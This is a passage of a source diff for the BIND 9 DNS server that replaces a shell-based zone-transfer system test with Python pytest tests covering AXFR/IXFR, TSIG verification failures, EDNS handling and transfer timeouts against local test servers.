-sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'wrong question AXFR' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "bad message id ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'bad message id' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "mismatched SOA ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'SOA mismatch AXFR' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "handle EDNS NOTIMP ($n)" - -$RNDCCMD 10.53.0.4 null testing EDNS NOTIMP | sed 's/^/ns4 /' | cat_i - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "handle EDNS FORMERR ($n)" - -$RNDCCMD 10.53.0.4 null testing EDNS FORMERR | sed 's/^/ns4 /' | cat_i - -sendcmd /dev/null || { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "check that we ask for and got a EDNS EXPIRE response when transfering from a secondary ($n)" -tmp=0 -msg="zone edns-expire/IN: zone transfer finished: success, expire=1814[0-4][0-9][0-9]" -grep "$msg" ns7/named.run >/dev/null || tmp=1 -[ "$tmp" -ne 0 ] && echo_i "failed" -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "check that we ask for and get a EDNS EXPIRE response when refreshing ($n)" -# force a refresh query -$RNDCCMD 10.53.0.7 refresh edns-expire 2>&1 | sed 's/^/ns7 /' | cat_i -sleep 10 - -# there may be multiple log entries so get the last one. -expire=$(awk '/edns-expire\/IN: got EDNS EXPIRE of/ { x=$9 } END { print x }' ns7/named.run) -test ${expire:-0} -gt 0 -a ${expire:-0} -lt 1814400 || { - echo_i "failed (expire=${expire:-0})" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "test smaller transfer TCP message size ($n)" -$DIG $DIGOPTS example. @10.53.0.8 axfr \ - -y "${DEFAULT_HMAC}:key1.:1234abcd8765" >dig.out.msgsize.test$n || status=1 - -bytes=$(wc -c dig.out.1.test$n -grep "status: NOERROR," dig.out.1.test$n >/dev/null || tmp=1 -stop_server ns3 -start_server --noclean --restart --port ${PORT} ns3 -check_mapped() { - $DIG -p ${PORT} txt mapped @10.53.0.3 >dig.out.2.test$n - grep "status: NOERROR," dig.out.2.test$n >/dev/null || return 1 - $DIG -p ${PORT} axfr mapped @10.53.0.3 >dig.out.3.test$n - digcomp knowngood.mapped dig.out.3.test$n || return 1 - return 0 -} -retry_quiet 10 check_mapped || tmp=1 -[ "$tmp" -ne 0 ] && echo_i "failed" -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "test that a zone with too many records is rejected (AXFR) ($n)" -tmp=0 -grep "'axfr-too-big/IN'.*: too many records" ns6/named.run >/dev/null || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "test that a zone with too many records is rejected (IXFR) ($n)" -tmp=0 -nextpart ns6/named.run >/dev/null -$NSUPDATE <dig.out.ns3.test$n - grep "; Transfer failed" dig.out.ns3.test$n >/dev/null || return 0 - return 1 -) -if retry_quiet 10 wait_for_xfer; then - get_dig_xfer_stats dig.out.ns3.test$n >stats.dig - diff axfr-stats.good stats.dig || tmp=1 -else - echo_i "timed out waiting for zone transfer" -fi -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -# Note: in the next two tests, we use ns3 logs for checking both incoming and -# outgoing transfer statistics as ns3 is both a secondary server (for ns1) and a -# primary server (for dig queries from the previous test) for "xfer-stats". -n=$((n + 1)) -echo_i "checking whether named calculates incoming AXFR statistics correctly ($n)" -tmp=0 -get_named_xfer_stats ns3/named.run 10.53.0.1 xfer-stats "Transfer completed" >stats.incoming -diff axfr-stats.good stats.incoming || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "checking whether named calculates outgoing AXFR statistics correctly ($n)" -tmp=0 -check_xfer_stats() { - get_named_xfer_stats ns3/named.run 10.53.0.2 xfer-stats "AXFR ended" >stats.outgoing - diff axfr-stats.good stats.outgoing >/dev/null -} -retry_quiet 10 check_xfer_stats || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "test that transfer-source uses port option correctly ($n)" -tmp=0 -grep "10.53.0.3#${EXTRAPORT1} (primary): query 'primary/SOA/IN' approved" ns6/named.run >/dev/null || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -wait_for_message() ( - nextpartpeek ns6/named.run >wait_for_message.$n - grep -F "$1" wait_for_message.$n >/dev/null -) - -nextpart ns6/named.run >/dev/null - -n=$((n + 1)) -echo_i "test that named tries the next primary in the list when the first one fails (XoT -> Do53) ($n)" -tmp=0 -$RNDCCMD 10.53.0.6 retransfer xot-primary-try-next 2>&1 | sed 's/^/ns6 /' | cat_i -msg="'xot-primary-try-next/IN' from 10.53.0.1#${PORT}: Transfer status: success" -retry_quiet 60 wait_for_message "$msg" || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -nextpart ns6/named.run >/dev/null - -n=$((n + 1)) -echo_i "test that named tries the next primary in the list when the first one is already marked as unreachable (XoT -> Do53) ($n)" -tmp=0 -$RNDCCMD 10.53.0.6 retransfer xot-primary-try-next 2>&1 | sed 's/^/ns6 /' | cat_i -msg="'xot-primary-try-next/IN' from 10.53.0.1#${PORT}: Transfer status: success" -retry_quiet 60 wait_for_message "$msg" || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -# Restart ns1 with -T transferslowly -stop_server ns1 -cp ns1/named2.conf ns1/named.conf -start_server --noclean --restart --port ${PORT} ns1 -- "-D xfer-ns1 $NS_PARAMS -T transferinsecs -T transferslowly" -sleep 1 - -nextpart ns6/named.run >/dev/null - -n=$((n + 1)) -echo_i "test rndc retransfer -force ($n)" -tmp=0 -$RNDCCMD 10.53.0.6 retransfer axfr-rndc-retransfer-force 2>&1 | sed 's/^/ns6 /' | cat_i -# Wait for at least one message -msg="'axfr-rndc-retransfer-force/IN' from 10.53.0.1#${PORT}: received" -retry_quiet 5 wait_for_message "$msg" || tmp=1 -# Issue a retransfer-force command which should cancel the ongoing transfer and start a new one -$RNDCCMD 10.53.0.6 retransfer -force axfr-rndc-retransfer-force 2>&1 | sed 's/^/ns6 /' | cat_i -msg="'axfr-rndc-retransfer-force/IN' from 10.53.0.1#${PORT}: Transfer status: shutting down" -retry_quiet 5 wait_for_message "$msg" || tmp=1 -# Wait for the new transfer to complete successfully -msg="'axfr-rndc-retransfer-force/IN' from 10.53.0.1#${PORT}: Transfer status: success" -retry_quiet 30 wait_for_message "$msg" || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -nextpart ns6/named.run >/dev/null - -n=$((n + 1)) -echo_i "test min-transfer-rate-in with 5 seconds timeout ($n)" -$RNDCCMD 10.53.0.6 retransfer axfr-min-transfer-rate 2>&1 | sed 's/^/ns6 /' | cat_i -tmp=0 -retry_quiet 10 wait_for_message "minimum transfer rate reached: timed out" || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -nextpart ns6/named.run >/dev/null - -n=$((n + 1)) -echo_i "test max-transfer-time-in with 1 second timeout ($n)" -$RNDCCMD 10.53.0.6 retransfer axfr-max-transfer-time 2>&1 | sed 's/^/ns6 /' | cat_i -tmp=0 -retry_quiet 10 wait_for_message "maximum transfer time exceeded: timed out" || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -# Restart ns1 with -T transferstuck -stop_server ns1 -cp ns1/named3.conf ns1/named.conf -start_server --noclean --restart --port ${PORT} ns1 -- "-D xfer-ns1 $NS_PARAMS -T transferinsecs -T transferstuck" -sleep 1 - -nextpart ns6/named.run >/dev/null - -n=$((n + 1)) -echo_i "test max-transfer-idle-in with 50 seconds timeout ($n)" -start=$(date +%s) -$RNDCCMD 10.53.0.6 retransfer axfr-max-idle-time 2>&1 | sed 's/^/ns6 /' | cat_i -tmp=0 -retry_quiet 60 wait_for_message "maximum idle time exceeded: timed out" || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -if [ $tmp -eq 0 ]; then - now=$(date +%s) - diff=$((now - start)) - # we expect a timeout in 50 seconds - test $diff -lt 50 && tmp=1 - test $diff -ge 59 && tmp=1 - if test $tmp != 0; then echo_i "unexpected diff value: ${diff}"; fi -fi -status=$((status + tmp)) - -nextpart ns6/named.run >/dev/null - -sendcmd() ( - dig_with_opts "@${1}" "${2}._control." TXT +time=5 +tries=1 +tcp >/dev/null 2>&1 -) - -# See #5307#note_558185 -n=$((n + 1)) -echo_i "test reconfiguration when zone transfer is in the middle of a SOA query (part 1) ($n)" -tmp=0 -# Check that xfr-and-reconfig has been successfully transferred by the secondary. -grep -F 'zone xfr-and-reconfig/IN: zone transfer finished: success' ns6/named.run 2>&1 >/dev/null || tmp=0 -# Make ans6 receive queries without responding to them. -sendcmd 10.53.0.9 "disable.send-responses" -sleep 1 -# Try to reload the zone from an unresponsive primary. -$RNDCCMD 10.53.0.6 reload xfr-and-reconfig 2>&1 | sed 's/^/ns6 /' | cat_i -sleep 1 -# Reconfigure named while zone transfer attempt is in progress. -$RNDCCMD 10.53.0.6 reconfig 2>&1 | sed 's/^/ns6 /' | cat_i -# Confirm that the ongoing SOA request was canceled, caused by the reconfiguratoin. -retry_quiet 60 wait_for_message "refresh: request result: operation canceled" || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -nextpart ns6/named.run >/dev/null - -n=$((n + 1)) -echo_i "test reconfiguration when zone transfer is in the middle of a SOA query (part 2) ($n)" -tmp=0 -# Make ans6 receive queries and respond to them. -sendcmd 10.53.0.9 "enable.send-responses" -sleep 1 -# Try to reload the zone from the primary. -$RNDCCMD 10.53.0.6 reload xfr-and-reconfig 2>&1 | sed 's/^/ns6 /' | cat_i -retry_quiet 60 wait_for_message "zone xfr-and-reconfig/IN: Transfer started." || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -echo_i "exit status: $status" -[ $status -eq 0 ] || exit 1 diff -Nru bind9-9.20.18/bin/tests/system/xfer/tests_retransfer_with_force.py bind9-9.20.21/bin/tests/system/xfer/tests_retransfer_with_force.py --- bind9-9.20.18/bin/tests/system/xfer/tests_retransfer_with_force.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/tests_retransfer_with_force.py 2026-03-13 22:01:10.771875110 +0000 @@ -0,0 +1,62 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import isctest + + +def bootstrap(): + isctest.log.info("Restart ns1 with -T transferslowly") + with open("ns1/named.args", "w", encoding="utf-8") as argsfile: + argsfile.write( + "-D xfer-ns1 -m record -c named.conf -d 99 -g -T maxcachesize=2097152 -T transferinsecs -T transferslowly" + ) + return { + "enable_some_zones": False, + } + + +def test_wait_for_zone_retransfer(named_port, ns6): + isctest.log.info("Wait for at least one message") + with ns6.watch_log_from_here() as watcher: + ns6.rndc("retransfer axfr-rndc-retransfer-force.") + watcher.wait_for_line( + f"'axfr-rndc-retransfer-force/IN' from 10.53.0.1#{named_port}: received" + ) + + +def test_cancel_ongoing_retransfer(named_port, ns6): + isctest.log.info( + "Issue a retransfer-force command which should cancel the ongoing transfer and start a new one." + ) + with ns6.watch_log_from_here(timeout=30) as watcher_transfer_success: + with ns6.watch_log_from_here() as watcher_transfer_shutting_down: + ns6.rndc("retransfer -force axfr-rndc-retransfer-force.") + watcher_transfer_shutting_down.wait_for_line( + f"'axfr-rndc-retransfer-force/IN' from 10.53.0.1#{named_port}: Transfer status: shutting down" + ) + isctest.log.info("Wait for the new transfer to complete successfully") + watcher_transfer_success.wait_for_line( + f"'axfr-rndc-retransfer-force/IN' from 10.53.0.1#{named_port}: Transfer status: success" + ) + + +def test_min_transfer_rate_in(ns6): + isctest.log.info("Test min-transfer-rate-in with 5 seconds timeout") + with ns6.watch_log_from_here() as watcher: + ns6.rndc("retransfer axfr-min-transfer-rate.") + watcher.wait_for_line("minimum transfer rate reached: timed out") + + +def test_max_transfer_time_in(ns6): + isctest.log.info("Test max-transfer-time-in with 1 second timeout") + with ns6.watch_log_from_here() as watcher: + ns6.rndc("retransfer axfr-max-transfer-time.") + watcher.wait_for_line("maximum transfer time exceeded: timed out") diff -Nru bind9-9.20.18/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py bind9-9.20.21/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py --- bind9-9.20.18/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py 2026-03-13 22:01:10.771875110 +0000 @@ -0,0 +1,38 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import time + +import isctest + + +def bootstrap(): + isctest.log.info("Restart ns1 with -T transferstuck") + with open("ns1/named.args", "w", encoding="utf-8") as argsfile: + argsfile.write( + "-D xfer-ns1 -m record -c named.conf -d 99 -g -T maxcachesize=2097152 -T transferinsecs -T transferstuck" + ) + return { + "enable_some_zones": False, + "enable_only_axfr_max_idle_time": True, + } + + +def test_retransfer_with_transferstuck(ns6): + isctest.log.info("Test max-transfer-idle-in with 50 seconds timeout") + start_time = time.time() + with ns6.watch_log_from_here(timeout=60) as watcher: + ns6.rndc("retransfer -force axfr-max-idle-time.") + watcher.wait_for_line("maximum idle time exceeded: timed out") + end_time = time.time() + assert ( + 50 <= (end_time - start_time) < 59 + ), "max-transfer-idle-in did not wait for the expected time" diff -Nru bind9-9.20.18/bin/tests/system/xfer/tests_sh_xfer.py bind9-9.20.21/bin/tests/system/xfer/tests_sh_xfer.py --- bind9-9.20.18/bin/tests/system/xfer/tests_sh_xfer.py 2026-01-09 13:39:28.223975917 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/tests_sh_xfer.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,69 +0,0 @@ -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -import pytest - -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - -pytestmark = pytest.mark.extra_artifacts( - [ - "axfr.out", - "dig.out.*", - "stats.*", - "wait_for_message.*", - "ans*/ans.run", - "ns1/dot-fallback.db", - "ns1/edns-expire.db", - "ns1/ixfr-too-big.db", - "ns1/ixfr-too-big.db.jnl", - "ns1/ixfr-too-many-diffs.db.jnl", - "ns1/sec.db", - "ns2/dot-fallback.db", - "ns2/example.db", - "ns2/example.db.jnl", - "ns2/mapped.db", - "ns2/sec.db", - "ns2/tsigzone.db", - "ns3/example.bk", - "ns3/example.bk.jnl", - "ns3/mapped.bk", - "ns3/primary.bk", - "ns3/primary.bk.jnl", - "ns3/tsigzone.bk", - "ns3/xfer-stats.bk", - "ns4/nil.db", - "ns4/root.db", - "ns6/axfr-max-idle-time.bk", - "ns6/axfr-max-transfer-time.bk", - "ns6/axfr-min-transfer-rate.bk", - "ns6/axfr-rndc-retransfer-force.bk", - "ns6/edns-expire.bk", - "ns6/ixfr-too-big.bk", - "ns6/ixfr-too-big.bk.jnl", - "ns6/ixfr-too-many-diffs.bk", - "ns6/primary.db", - "ns6/primary.db.jnl", - "ns6/sec.bk", - "ns6/xot-primary-try-next.bk", - "ns6/xfr-and-reconfig.bk", - "ns7/edns-expire.bk", - "ns7/primary2.db", - "ns7/sec.bk", - "ns7/sec.bk.jnl", - "ns8/large.db", - "ns8/small.db", - ] -) - - -def test_xfer(run_tests_sh): - run_tests_sh() diff -Nru bind9-9.20.18/bin/tests/system/xfer/tests_xfer.py bind9-9.20.21/bin/tests/system/xfer/tests_xfer.py --- bind9-9.20.18/bin/tests/system/xfer/tests_xfer.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/tests_xfer.py 2026-03-13 22:01:10.771875110 +0000 @@ -0,0 +1,551 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + + +from re import compile as Re + +import fileinput +import os +import socket +import time + +import dns.message +import dns.query +import dns.rdataclass +import dns.rdatatype +import dns.tsig +import dns.zone +import pytest + +from isctest.util import param + +import isctest + +NEW_SOA_SERIAL = 1397051953 +OLD_SOA_SERIAL = 1397051952 + + +def sendcmd(cmdfile): + host = "10.53.0.5" + port = int(isctest.vars.ALL["EXTRAPORT1"]) + cmdfile = f"ans5/{cmdfile}" + assert os.path.exists(cmdfile) + + sock = socket.create_connection((host, port)) + with open(cmdfile, "r", encoding="utf-8") as f: + for line in f: + sock.sendall(line.encode()) + sock.close() + + +@pytest.fixture(scope="module", autouse=True) +def after_servers_start(templates, ns4): + # initial correctly-signed transfer should succeed + sendcmd("goodaxfr") + + with ns4.watch_log_from_here() as watcher: + templates.render("ns4/named.conf", {"ns4_as_secondary_for_nil": True}) + ns4.reconfigure() + watcher.wait_for_line("Transfer status: success") + + with ns4.watch_log_from_here() as watcher_retransfer_nil_success: + ns4.rndc("retransfer nil.") + watcher_retransfer_nil_success.wait_for_line("Transfer status: success") + + +def get_response(msg, server_ip, allow_empty_answer=False): + res = isctest.query.tcp(msg, server_ip) + isctest.check.noerror(res) + if not allow_empty_answer: + assert len(res.answer) > 0 + return res + + +def check_rdata_in_txt_record(rdata, should_exist=True): + def check_data(): + qname = "nil." + msg = dns.message.make_query(qname, "TXT") + res = get_response(msg, "10.53.0.4") + rrset = res.get_rrset( + dns.message.ANSWER, qname, dns.rdataclass.IN, dns.rdatatype.TXT + ) + found = rdata in rrset.to_text() + if found == should_exist: + return True + status = "not found" if should_exist else "found" + assert False, f"TXT rdata '{rdata}' {status} in the response\n{res}" + + isctest.run.retry_with_timeout(check_data, timeout=10) + + +def nsupdate(config): + isctest.run.cmd(isctest.vars.ALL["NSUPDATE"], input_text=config.encode("utf-8")) + + +def validate_axfr_from_query_and_file(msg, server_ip, filename): + res = get_response(msg, server_ip) + with open(filename, "r", encoding="utf-8") as file: + expected = dns.message.from_file(file) + isctest.check.rrsets_equal(expected.answer, res.answer) + + +def test_zone_transfer_fallback_to_dns_after_dot_failed(): + msg = dns.message.make_query("dot-fallback.", "AXFR") + validate_axfr_from_query_and_file(msg, "10.53.0.2", "response3.good") + + +def test_tsig_signed_zone_transfer(): + key = dns.tsig.Key( + name="tsigzone.", + secret="1234abcd8765", + algorithm=isctest.vars.ALL["DEFAULT_HMAC"], + ) + msg = dns.message.make_query("tsigzone.", "AXFR") + msg.use_tsig(keyring=key) + res2 = get_response(msg, "10.53.0.2") + res3 = get_response(msg, "10.53.0.3") + isctest.check.rrsets_equal(res2.answer, res3.answer) + + +def test_zone_is_dumped_after_transfer(ns1, ns2, ns3, ns6, ns7): + def check_soa_serial_with_retry(checked_zones, recovery_function): + def get_soa_serial(qname, server_ip, serial): + msg = dns.message.make_query(qname, "SOA") + res = get_response(msg, server_ip) + rrset = res.get_rrset( + dns.message.ANSWER, qname, dns.rdataclass.IN, dns.rdatatype.SOA + ) + return rrset[0].serial == serial + + def find_serial_in_responses(): + serial_found_in_responses = 0 + for server, zone in checked_zones: + if get_soa_serial(zone, server, NEW_SOA_SERIAL): + serial_found_in_responses += 1 + if serial_found_in_responses == len(checked_zones): + return True + recovery_function() + return False + + isctest.run.retry_with_timeout( + find_serial_in_responses, + timeout=20, + msg=f"SOA serial {NEW_SOA_SERIAL} not found in responses", + ) + + def validate_axfr_from_query_and_query(msg, server_ip1, server_ip2): + res1 = get_response(msg, server_ip1) + res2 = get_response(msg, server_ip2) + isctest.check.rrsets_equal(res1.answer, res2.answer) + + def rndc_reload(*servers): + for server in servers: + server.reload() + + isctest.log.info("reload servers for preparation of ixfr-from-differences tests") + rndc_reload(ns1, ns2, ns3, ns6, ns7) + + isctest.log.info("basic zone transfer") + msg = dns.message.make_query("example.", "AXFR") + validate_axfr_from_query_and_file(msg, "10.53.0.2", "response1.good") + validate_axfr_from_query_and_file(msg, "10.53.0.3", "response1.good") + + isctest.log.info("update primary zones for ixfr-from-differences tests") + for zone_file in [ + "ns1/sec.db", + "ns2/example.db", + "ns6/primary.db", + "ns7/primary2.db", + ]: + with fileinput.FileInput(zone_file, inplace=True) as file: + for line in file: + print( + line.replace(" 0.0.0.0", " 0.0.0.1").replace( + str(OLD_SOA_SERIAL), str(NEW_SOA_SERIAL) + ), + end="", + ) + rndc_reload(ns1, ns2, ns6, ns7) + + qname = "secondary." + msg = dns.message.make_query(qname, "SOA") + res = get_response(msg, "10.53.0.2") + rrset = res.get_rrset( + dns.message.ANSWER, qname, dns.rdataclass.IN, dns.rdatatype.SOA + ) + assert ( + rrset[0].serial == OLD_SOA_SERIAL + ), f"SOA serial {OLD_SOA_SERIAL} not found in the response" + + sec_db = isctest.text.TextFile("ns2/sec.db") + assert ( + f"{OLD_SOA_SERIAL} ; serial" in sec_db + ), f"{OLD_SOA_SERIAL} not found in ns2/sec.db" + + isctest.log.info("wait for reloads") + reloaded_zones = ( + ("10.53.0.6", "primary."), + ("10.53.0.1", "secondary."), + ("10.53.0.2", "example."), + ) + check_soa_serial_with_retry(reloaded_zones, lambda: time.sleep(1)) + + def notify_some_servers(): + ns6.rndc("notify primary.") + ns1.rndc("notify secondary.") + ns2.rndc("notify example.") + time.sleep(2) + + isctest.log.info("wait for transfers") + transfered_zones = ( + ("10.53.0.3", "example."), + ("10.53.0.3", "primary."), + ("10.53.0.6", "secondary."), + ) + check_soa_serial_with_retry(transfered_zones, notify_some_servers) + + msg = dns.message.make_query("example.", "AXFR") + validate_axfr_from_query_and_file(msg, "10.53.0.3", "response2.good") + + isctest.log.info("ns3 has a journal iff it received an IXFR.") + assert os.path.exists("ns3/example.bk") + assert os.path.exists("ns3/example.bk.jnl") + + isctest.log.info("testing ixfr-from-differences primary; (primary zone)") + msg = dns.message.make_query("primary.", "AXFR") + validate_axfr_from_query_and_query(msg, "10.53.0.6", "10.53.0.3") + + isctest.log.info("ns3 has a journal iff it received an IXFR.") + assert os.path.exists("ns3/primary.bk") + assert os.path.exists("ns3/primary.bk.jnl") + + isctest.log.info("testing ixfr-from-differences primary; (secondary zone)") + msg = dns.message.make_query("secondary.", "AXFR") + validate_axfr_from_query_and_query(msg, "10.53.0.6", "10.53.0.1") + + isctest.log.info("ns6 has a journal iff it received an IXFR.") + assert os.path.exists("ns6/sec.bk") + assert not os.path.exists("ns6/sec.bk.jnl") + + isctest.log.info("testing ixfr-from-differences secondary; (primary zone)") + + isctest.log.info("ns7 has a journal iff it generates an IXFR.") + assert os.path.exists("ns7/primary2.db") + assert not os.path.exists("ns7/primary2.db.jnl") + + isctest.log.info("testing ixfr-from-differences secondary; (secondary zone)") + msg = dns.message.make_query("secondary.", "AXFR") + validate_axfr_from_query_and_query(msg, "10.53.0.1", "10.53.0.7") + + isctest.log.info("ns7 has a journal iff it generates an IXFR.") + assert os.path.exists("ns7/sec.bk") + assert os.path.exists("ns7/sec.bk.jnl") + + +# check that a multi-message uncompressable zone transfers +def test_multi_message_uncompressable_zone_transfers(named_port): + zone = dns.zone.Zone(".") + isctest.log.info("Initiate a zone transfer from the server") + dns.query.inbound_xfr("10.53.0.4", zone, port=named_port, timeout=10, lifetime=10) + + for name, node in zone.nodes.items(): + label = name.to_text() + fqdn = name.derelativize(zone.origin).to_text() + + for rdataset in node.rdatasets: + rtype = dns.rdatatype.to_text(rdataset.rdtype) + for rdata in rdataset: + if rtype == "A": + # The A records name is either "." or in the format "xN", + # where N is a number between 0 and 9999 + assert fqdn == "." or ( + label.startswith("x") + and label[1:].isdigit() + and 0 <= int(label[1:]) < 10000 + ) + elif rtype in ("SOA", "NS"): + assert fqdn == "." + else: + assert ( + False + ), f"Unexpected RRset: {fqdn} {rdataset.ttl} IN {rtype} {rdata}" + + +# Initially, ns4 is not authoritative for anything. +# Now that ans is up and running with the right data, we make ns4 +# a secondary for nil. +def test_make_ns4_secondary_for_nil(): + # now we test transfers with assorted TSIG glitches. + # testing that incorrectly signed transfers will fail. + + def wait_for_soa(): + def _wait_for_soa(): + qname = "nil." + msg = dns.message.make_query(qname, "SOA") + res = isctest.query.tcp(msg, "10.53.0.4") + rrset = res.get_rrset( + dns.message.ANSWER, qname, dns.rdataclass.IN, dns.rdatatype.SOA + ) + return True if rrset else time.sleep(1) + + isctest.run.retry_with_timeout(_wait_for_soa, timeout=10) + return True + + sendcmd("goodaxfr") + assert wait_for_soa(), "SOA not found in the response" + check_rdata_in_txt_record("initial AXFR") + + +def test_handle_ixfr_notimp(ns4): + sendcmd("ixfrnotimp") + with ns4.watch_log_from_here() as watcher_transfer_success: + with ns4.watch_log_from_here() as watcher_requesting_ixfr: + ns4.rndc("refresh nil.") + watcher_requesting_ixfr.wait_for_line( + "zone nil/IN: requesting IXFR from 10.53.0.5" + ) + watcher_transfer_success.wait_for_line("Transfer status: success") + + check_rdata_in_txt_record("IXFR NOTIMP") + + +@pytest.mark.parametrize( + "command_file,expected_rdata,named_log_line", + [ + param( + "unsigned", + "unsigned AXFR", + "Transfer status: expected a TSIG or SIG(0)", + ), + param( + "badkeydata", + "bad keydata AXFR", + "Transfer status: tsig verify failure", + ), + param( + "partial", + "partially signed AXFR", + "Transfer status: expected a TSIG or SIG(0)", + ), + param( + "unknownkey", + "unknown key AXFR", + "tsig key 'tsig_key': key name and algorithm do not match", + ), + param( + "wrongkey", + "incorrect key AXFR", + "tsig key 'tsig_key': key name and algorithm do not match", + ), + param( + "wrongname", + "wrong question AXFR", + "question name mismatch", + ), + param( + "badmessageid", + "bad message id", + "Transfer status: unexpected error", + ), + param( + "soamismatch", + "SOA mismatch AXFR", + "Transfer status: FORMERR", + ), + ], +) +def test_under_signed_transfer(command_file, expected_rdata, named_log_line, ns4): + sendcmd(command_file) + with ns4.watch_log_from_here() as watcher: + ns4.rndc("retransfer nil.") + watcher.wait_for_line(named_log_line) + check_rdata_in_txt_record(expected_rdata, should_exist=False) + + +def test_handle_edns_notimp(ns4): + sendcmd("ednsnotimp") + with ns4.watch_log_from_here() as watcher: + ns4.rndc("retransfer nil.") + watcher.wait_for_line("Transfer status: NOTIMP") + + +def test_handle_edns_formerr(ns4): + sendcmd("ednsformerr") + with ns4.watch_log_from_here() as watcher: + ns4.rndc("retransfer nil.") + watcher.wait_for_line("Transfer status: success") + check_rdata_in_txt_record("EDNS FORMERR") + + +# check that we asked for and received a EDNS EXPIRE response when transfering from a secondary +def test_edns_expire_from_secondary(ns7): + pattern = Re( + "zone edns-expire/IN: zone transfer finished: success, expire=1814[0-4][0-9][0-9]" + ) + with ns7.watch_log_from_start() as watcher: + watcher.wait_for_line(pattern) + + +# check that we ask for and get a EDNS EXPIRE response when refreshing +def test_edns_expire_refresh(ns7): + time.sleep(1) + with ns7.watch_log_from_here() as watcher: + ns7.rndc("refresh edns-expire.") + isctest.log.info("make sure the EDNS EXPIRE of 1814400 decreases a slightly") + pattern = Re("zone edns-expire/IN: got EDNS EXPIRE of 1814[0-3][0-9][0-9]") + watcher.wait_for_line(pattern) + + +# test small transfer TCP message size (transfer-message-size 1024;) +def test_tcp_message_compression_makes_difference(named_port, ns8): + key = dns.tsig.Key( + name="key1.", + secret="1234abcd8765", + algorithm=isctest.vars.ALL["DEFAULT_HMAC"], + ) + msg = dns.message.make_query("example.", "AXFR") + msg.use_tsig(keyring=key) + zone = dns.zone.Zone("example.") + dns.query.inbound_xfr( + "10.53.0.8", zone, query=msg, port=named_port, timeout=10, lifetime=10 + ) + + xfr_size = 0 + for name, node in zone.nodes.items(): + fqdn = name.derelativize(zone.origin).to_text() + for rdataset in node.rdatasets: + xfr_size += len(f"{fqdn} {rdataset}") + assert xfr_size >= 452172, f"XFR size {xfr_size} seems too small" + + assert len(ns8.log.grep("sending TCP message of")) > 300 + + +# test mapped. zone with out zone data +def test_mapped_zone(named_port, ns3): + msg_txt = dns.message.make_query("mapped.", "TXT") + get_response(msg_txt, "10.53.0.3", allow_empty_answer=True) + + ns3.stop() + ns3.start(["--noclean", "--restart", "--port", str(named_port)]) + + get_response(msg_txt, "10.53.0.3", allow_empty_answer=True) + + msg_axfr = dns.message.make_query("mapped.", "AXFR") + 